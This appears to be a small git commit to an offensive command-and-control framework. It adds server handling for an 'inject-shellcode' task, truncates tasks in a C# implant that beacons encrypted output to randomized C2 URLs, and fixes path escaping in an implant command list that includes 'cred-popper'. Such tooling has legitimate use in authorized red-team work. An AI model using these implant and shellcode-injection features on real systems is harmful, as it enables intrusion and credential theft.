Truncate the inject-shellcode command

chunking
benpturner 2019-01-02 20:02:03 +00:00
parent a58cdd8415
commit b4f994e300
3 changed files with 8 additions and 2 deletions

View File

@ -254,6 +254,9 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
print ("Upload shellcode complete")
elif (decCookie.lower().startswith("run-exe core.program core inject-shellcode")):
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
print ("Inject shellcode complete")
elif "download-file" in decCookie.lower():
try:
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))

View File

@ -507,6 +507,9 @@ public class Program
URL = stringnewURLS[rnd.Next(stringnewURLS.Length)];
G = (Guid.NewGuid()).ToString();
URL = baseURL+"/"+URL+G+"/?"+RandomURI;
if (tasksrc.Length > 200) {
tasksrc = tasksrc.Substring(0,199);
}
string task = Encryption(Key, tasksrc);
string coutput = Encryption(Key, output, true);
byte[] outputBytes = System.Convert.FromBase64String(coutput);

View File

@ -45,8 +45,8 @@ ls c:\\temp\\
ls-recurse c:\\temp\\
get-content c:\\temp\\log.txt
pwd
delete c:\\temp\test.exe
move c:\\temp\old.exe c:\\temp\new.exe
delete c:\\temp\\test.exe
move c:\\temp\\old.exe c:\\temp\\new.exe
cred-popper
resolveip 127.0.0.1
resolvednsname google.com